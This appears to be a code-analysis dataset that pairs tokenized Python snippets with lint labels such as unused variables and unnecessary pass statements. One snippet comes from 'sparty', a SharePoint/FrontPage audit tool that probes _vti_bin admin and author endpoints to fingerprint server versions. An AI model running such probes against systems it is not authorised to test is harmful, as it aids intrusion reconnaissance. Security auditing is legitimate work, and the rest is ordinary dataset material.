")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "summar", "y", ":", " ", "Add", " ", "train", "ing", " ", "data", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "data", "X", ":", " ", "Data", " ", "to", " ", "add", ",", " ", "eit", "her", " ", "entire", " ", "set", " ", "with", " ", "classificati", "on", " ", "as", " ", "last", " ", "column", ",", " ", "or", " ", "not", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "Y", " ", "data", " ", "is", " ", "provided", " ", "explicit", "ly", ".", " ", " ", "Mus", "t", " ", "be", " ", "same", " ", "widt", "h", " ", "as", " ", "previ", "ously", " ", "append", "ed", " ", "data", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "data", "Y", ":", " ", "Optio", "nal", ",", " ", "can", " ", "be", " ", "used", " ", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "'", "data", "'", " ", "shou", "ld", " ", "be", " ", "a", " ", "nump", "y", " ", "array", " ", "matchi", "ng", " ", "the", " ", "same", " ", "dimension", "s", " ", "as", " ", "any", " ", "data", " ", "\\", "10", ";", " ", " ", " ", " ", "provided", " ", "in", " ", "previ", "ous", " ", "calls", " ", "to", " ", "add", "Evi", "denc", "e", ",", " ", "with", " ", "data", "Y", " ", "as", " ", "the", " ", "\\", "10", ";", " ", " ", " ", " ", "train", "ing", " ", "label", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", " ", "Sla", "p", " ", "on", " ", "Y", " ", "column", " ", "if", " ", "it", " ", "is", " ", "provided", ",", " ", "if", " ", "not", " ", "assume", " ", "it", " ", "is", " ", "there", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "data", "Y_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "numpy_", "._", "zeros_", "(_", "[_", "data", "X_", "._", "shape_", "[_", "0_", "]_", ",_", "data", "X_", "._", "shape_", "[_", "1_", "]_", "+_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", ":_", ",_", "0_", ":_", "data", "X_", "._", "shape_", "[_", "1_", "]_", "]_", "=_", "data", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", ":_", ",_", "(_", "data", "X_", "._", "shape_", "[_", "1_", "]_", ")_", "]_", "=_", "data", "Y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "data", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "rebu", "ild", "\\u", "tree_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "data_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "data_", "=_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "data_", "=_", "numpy_", "._", "append_", "(_", "self_", "._", "data_", ",_", "data_", ",_", "axis_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "kd", "tk", "nn_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rebu", "ild", "KD", "T_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Force", " ", "the", " ", "internal", " ", "KD", "Tree", " ", "to", " ", "be", " ", "rebu", "ilt", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "kd", "t_", "=_", "c", "KD", "Tree_", "(_", "self_", "._", "data_", "[_", ":_", ",_", ":_", "-_", "1_", "]_", ",_", "leaf", "size_", "=_", "self_", "._", "leaf", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rebu", "ild", "\\u", "tree_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "kd", "tk", "nn_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "query_", "(_", "self_", ",_", "points_", ",_", "k_", "=_", "None_", ",_", "method_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Classif", "y", " ", "a", " ", "set", " ", "of", " ", "test", " ", "points", " ", "give", "n", " ", "thei", "r", " ", "k", " ", "near", "est", " ", "neighbor", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "'", "points", "'", " ", "shou", "ld", " ", "be", " ", "a", " ", "nump", "y", " ", "array", " ", "with", " ", "each", " ", "row", " ", "correspond", "ing", " ", "to", " ", "a", " ", "specific", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "estimate", "d", " ", "class", " ", "according", " ", "to", " ", "supplie", "d", " ", "method", " ", "(", "currentl", "y", " ", "only", " ", "'", "mode", "'", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "'", "mean", "'", " ", "are", " ", "support", "ed", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "k_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "k_", "=_", "self_", "._", "k_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "method_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "method_", "=_", "self_", "._", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "rebu", "ild", "\\u", "tree_", "is_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "data_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "rebu", "ild", "KD", "T_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "na", "\\u", "dist_", ",_", "na", "\\u", "neighbors_", "=_", "self_", "._", "kd", "t_", "._", "query_", "(_", "points_", ",_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "k_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Res", "hap", "e", " ", "scala", "r", " ", "int", "o", " ", "proper", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "na", "\\u", "dist_", "=_", "na", "\\u", "dist_", "._", "reshape_", "(_", "-_", "1_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "na", "\\u", "neighbors_", "=_", "na", "\\u", "neighbors_", "._", "reshape_", "(_", "-_", "1_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n", "\\u", "cls", "ses_", "=_", "map_", "(_", "lambda_", "rsl", "t_", ":_", "map_", "(_", "lambda_", "p_", ":_", "p_", "[_", "-_", "1_", "]_", ",_", "self_", "._", "data_", "[_", "rsl", "t_", "]_", ")_", ",_", "na", "\\u", "neighbors_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "n", "\\u", "cls", "ses_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "method_", "==_", "'", "mode", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "map_", "(_", "lambda_", "x_", ":_", "scipy_", "._", "stats_", "._", "stats_", "._", "mode_", "(_", "x_", ")_", "[_", "0_", "]_", ",_", "n", "\\u", "cls", "ses_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "method_", "==_", "'", "mean", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "array_", "(_", "map_", "(_", "lambda_", "x_", ":_", "numpy_", "._", "mean_", "(_", "x_", ")_", ",_", "n", "\\u", "cls", "ses_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "method_", "==_", "'", "median", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "array_", "(_", "map_", "(_", "lambda_", "x_", ":_", "numpy_", "._", "median_", "(_", "x_", ")_", ",_", "n", "\\u", "cls", "ses_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "method_", "==_", "'", "raw", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "array_", "(_", "n", "\\u", "cls", "ses_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "method_", "==_", "'", "all", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "array_", "(_", "n", "\\u", "cls", "ses_", ")_", ",_", "na", "\\u", "dist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "getf", "lat", "csv_", "(_", "fname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inf_", "=_", "open_", "(_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "numpy_", "._", "array_", "(_", "[_", "map_", "(_", "float_", ",_", "s_", "._", "strip_", "(_", ")_", "._", "split_", "(_", "','_", ")_", ")_", "for_", "s_", "in_", "inf_", "._", "readlines_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "gen", "data_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fname_", "=_", "'", "test", "2", ".", "dat", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "querys", "_", "=_", "1000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "k_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bnd", "s_", "=_", "(_", "(_", "-_", "10_", ",_", "10_", ")_", ",_", ")_", "*_", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cls", "ses_", "=_", "(_", "0_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "getf", "lat", "csv_", "(_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kd", "t_", "=_", "kd", "tk", "nn_", "(_", "k_", ",_", "method_", "=_", "'", "mode", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kd", "t_", "._", "add", "Evi", "denc", "e_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kd", "t_", "._", "rebu", "ild", "KD", "T_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stime", "_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "xrange_", "(_", "querys", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pnt", "_", "=_", "numpy_", "._", "array_", "(_", "gen", "data_", "._", "gens", "ingl", "e_", "(_", "d_", ",_", "bnd", "s_", ",_", "cls", "ses_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "lt_", "=_", "kd", "t_", "._", "query_", "(_", "numpy_", "._", "array_", "(_", "[_", "pnt", "_", "[_", ":_", "-_", "1_", "]_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "pnt", "_", ",_", "\"->", "\"_", ",_", "res", "lt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "etime", "_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "etime", "_", "-_", "stime", "_", ",_", "'/'_", ",_", "querys", "_", ",_", "'='_", ",_", "(_", "etime", "_", "-_", "stime", "_", ")_", "/_", "float_", "(_", "querys", "_", ")_", ",_", "'", "avg", " ", "wall", "clock", " ", "time", " ", "per", " ", "query", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "foo", ".", "add", "Evi", "denc", "e", "(", "data", "[:,", ":-", "1", "],", "data", "[:,", "-1", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "foo", ".", "num", "\\u", "checks", " ", "=", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "x", " ", "in", " ", "xran", "ge", "(", "querys", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pnt", " ", "=", " ", "nump", "y", ".", "array", "(", "gen", "data", ".", "gens", "ingl", "e", "(", "d", ",", "bnd", "s", ",", "cls", "ses", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "foo", ".", "query", "(", "pnt", "[:", "-1", "],", "3", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "if", " ", "x", " ", "%", " ", "50", " ", "==", " ", "0", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "float", "(", "foo", ".", "num", "\\u", "checks", ")/", "float", "(", "x", "+", "1", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "x", ",\"", "/\"", ",", "querys", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Average", " ", "#", " ", "querie", "s", ":\"", ",", " ", "float", "(", "foo", ".", "num", "\\u", "checks", ")/", "float", "(", "querys", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test", "gen", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
tweetdeck/txAMQP/src/txamqp/contrib/thrift/protocol.py
[ { "content": " def parseServerMessage(self, msg, channel, exchange, queue, processor,\n iprot_factory=None, oprot_factory=None):\n deliveryTag = msg.delivery_tag\n try:\n replyTo = msg.content[self.replyToField]\n except KeyError:\n replyTo = None\n\n tmi = TTransport.TMemoryBuffer(msg.content.body)\n tr = TwistedAMQPTransport(channel, exchange, replyTo)\n\n if iprot_factory is None:\n iprot = self.factory.iprot_factory.getProtocol(tmi)\n else:\n iprot = iprot_factory.getProtocol(tmi)\n\n if oprot_factory is None:\n oprot = self.factory.oprot_factory.getProtocol(tr)\n else:\n oprot = oprot_factory.getProtocol(tr)\n\n d = processor.process(iprot, oprot)\n channel.basic_ack(deliveryTag, True)\n\n d = queue.get()\n d.addCallback(self.parseServerMessage, channel, exchange, queue,\n processor, iprot_factory, oprot_factory)\n d.addErrback(self.catchClosedServerQueue)\n d.addErrback(self.handleServerQueueError)", "metadata": "root.ThriftAMQClient.parseServerMessage", "header": "['class', 'ThriftAMQClient', '(', 'AMQClient', ')', ':', '___EOS___']", "index": 178 } ]
[ { "span": "d ", "start_line": 199, "start_column": 8, "end_line": 199, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Thri", "ft", "AMQ", "Client_", "(_", "AMQ", "Client_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "Server", "Message_", "(_", "self_", ",_", "msg_", ",_", "channel_", ",_", "exchange_", ",_", "queue_", ",_", "processor_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ipr", "ot", "\\u", "factory_", "=_", "None_", ",_", "opr", "ot", "\\u", "factory_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "delivery", "Tag_", "=_", "msg_", "._", "delivery", "\\u", "tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "repl", "y", "To_", "=_", "msg_", "._", "content_", "[_", "self_", "._", "repl", "y", "To", "Field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "repl", "y", "To_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmi", "_", "=_", "TT", "rans", "port_", "._", "TM", "emo", "ry", "Buffer_", "(_", "msg_", "._", "content_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tr_", "=_", "Twi", "sted", "AMQ", "PT", "rans", "port_", "(_", "channel_", ",_", "exchange_", ",_", "repl", "y", "To_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "ipr", "ot", "\\u", "factory_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iprot_", "=_", "self_", "._", "factory_", "._", "ipr", "ot", "\\u", "factory_", "._", "get", "Protocol_", "(_", "tmi", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "iprot_", "=_", "ipr", "ot", "\\u", "factory_", "._", "get", "Protocol_", "(_", "tmi", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "opr", "ot", "\\u", "factory_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "oprot_", "=_", "self_", "._", "factory_", "._", "opr", "ot", "\\u", "factory_", "._", "get", "Protocol_", "(_", "tr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "oprot_", "=_", "opr", "ot", "\\u", "factory_", "._", "get", "Protocol_", "(_", "tr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "d_", "=_", "processor_", "._", "process_", "(_", "iprot_", ",_", "oprot_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "channel_", "._", "basic", "\\u", "ack_", "(_", "delivery", "Tag_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d_", "=_", "queue_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Callback_", "(_", "self_", "._", "parse", "Server", "Message_", ",_", "channel_", ",_", "exchange_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "processor_", ",_", "ipr", "ot", "\\u", "factory_", ",_", "opr", "ot", "\\u", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Errback_", "(_", "self_", "._", "catch", "Clos", "ed", "Server", "Queue_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "._", "add", "Errback_", "(_", "self_", "._", "handle", "Server", "Queue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2, 2 ]
Unused local variable
jonmorehouse/vimhub/lib/github_test.py
[ { "content": " def test_time_from_string(self):\n\n to = github.time(github.user().get(\"updated_at\"))", "metadata": "root.TestGithub.test_time_from_string", "header": "['class', 'TestGithub', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " def test_github_post_request(self):\n\n defaults = {\n \"title\": \"Title\",\n }\n url = github.url(\"repos/jonmorehouse/issues/issues\", self.params)\n data, status = github.request(url, \"post\", defaults) ", "metadata": "root.TestGithub.test_github_post_request", "header": "['class', 'TestGithub', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 48 } ]
[ { "span": "to ", "start_line": 27, "start_column": 8, "end_line": 27, "end_column": 10 }, { "span": "data,", "start_line": 54, "start_column": 8, "end_line": 54, "end_column": 12 }, { "span": "status ", "start_line": 54, "start_column": 14, "end_line": 54, "end_column": 20 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Git", "hub_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "time", "\\u", "from", "\\u", "string_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "to_", "=_", "github_", "._", "time_", "(_", "github_", "._", "user_", "(_", ")_", "._", "get_", "(_", "\"", "update", "d\\u", "at", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Git", "hub_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "git", "hub", "\\u", "post", "\\u", "request_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "defaults_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "title", "\"_", ":_", "\"", "Tit", "le", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "github_", "._", "url_", "(_", "\"", "repos", "/", "jon", "more", "house", "/", "issue", "s", "/", "issue", "s", "\"_", ",_", "self_", "._", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", ",_", "status_", "=_", "github_", "._", "request_", "(_", "url_", ",_", "\"", "post", "\"_", ",_", "defaults_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unnecessary pass
alias1/sparty/sparty_v_0.1.py
[ { "content": "def target_information(name):\n try:\n headers = urllib2.urlopen(name)\n print \"[+] fetching information from the given target : (%s)\" %(headers.geturl())\n print \"[+] target responded with HTTP code: (%s)\" %headers.getcode()\n print \"[+] target is running server: (%s)\" %headers.info()['server']\n\n except urllib2.HTTPError as h:\n print \"[-] url error occured - (%s)\" % h.code\n pass", "metadata": "root.target_information", "header": "['module', '___EOS___']", "index": 155 }, { "content": "def audit(target=[]):\n for element in target:\n try:\n handle = urllib2.urlopen(element)\n info = handle.info()\n response_code = handle.getcode()\n print \"[+] (%s) - (%d)\" %(element,response_code)\n\n except urllib2.HTTPError as h:\n print \"[-] (%s) - (%d)\" %(element,h.code)\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass", "metadata": "root.audit", "header": "['module', '___EOS___']", "index": 169 }, { "content": "def fingerprint_frontpage(name):\n enum_nix = ['_vti_bin/_vti_aut/author.exe','_vti_bin/_vti_adm/admin.exe','_vti_bin/shtml.exe']\n enum_win = ['_vti_bin/_vti_aut/author.dll', '_vti_bin/_vti_aut/dvwssr.dll','_vti_bin/_vti_adm/admin.dll','_vti_bin/shtml.dll']\n build_enum_nix = []\n build_enum_win = []\n\n for item in enum_nix:\n build_enum_nix.append( name + \"/\" + item)\n\n for entry in build_enum_nix:\n try:\n info=urllib2.urlopen(entry)\n if info.getcode() == 200:\n print \"[+] front page is tested as : nix version | (%s) | (%d)\" %(entry,info.getcode())\n\n except urllib2.HTTPError:\n pass\n\n for item in enum_win:\n build_enum_win.append( name + \"/\" + item)\n\n for entry in build_enum_win:\n try:\n info=urllib2.urlopen(entry)\n if info.getcode() == 200:\n print \"[+] front page is tested as : windows version | (%s) | (%d)\" %(entry,info.getcode())\n\n except urllib2.HTTPError:\n pass\n\n frontend_version = name + \"/_vti_inf.html\"\n try:\n version = urllib2.urlopen(frontend_version)\n print\"[+] extracting frontpage version from default file : (%s):\" %re.findall(r'FPVersion=(.*)',version.read())\n\n except urllib2.HTTPError:\n print \"[-] failed to extract the version of frontpage from default file!\"\n pass\n\n except httplib.BadStatusLine:\n print \"[-] server responds with bad status !\"\n pass\n\n print \"[*] ---------------------------------------------------------------------------------------\"", "metadata": "root.fingerprint_frontpage", "header": "['module', '___EOS___']", "index": 220 }, { "content": "def dump_sharepoint_headers(name):\n print \"\"\n try:\n dump_s = urllib2.urlopen(name)\n print \"[+] configured sharepoint version is : (%s)\" %dump_s.info()['microsoftsharepointteamservices']\n\n except KeyError:\n print \"[-] sharepoint version could not be extracted using HTTP header : MicrosoftSharepointTeamServices !\"\n\n try:\n dump_f = urllib2.urlopen(name)\n print \"[+] sharepoint is configured with load balancing capability : (%s)\" %dump_f.info()['x-sharepointhealthscore']\n\n 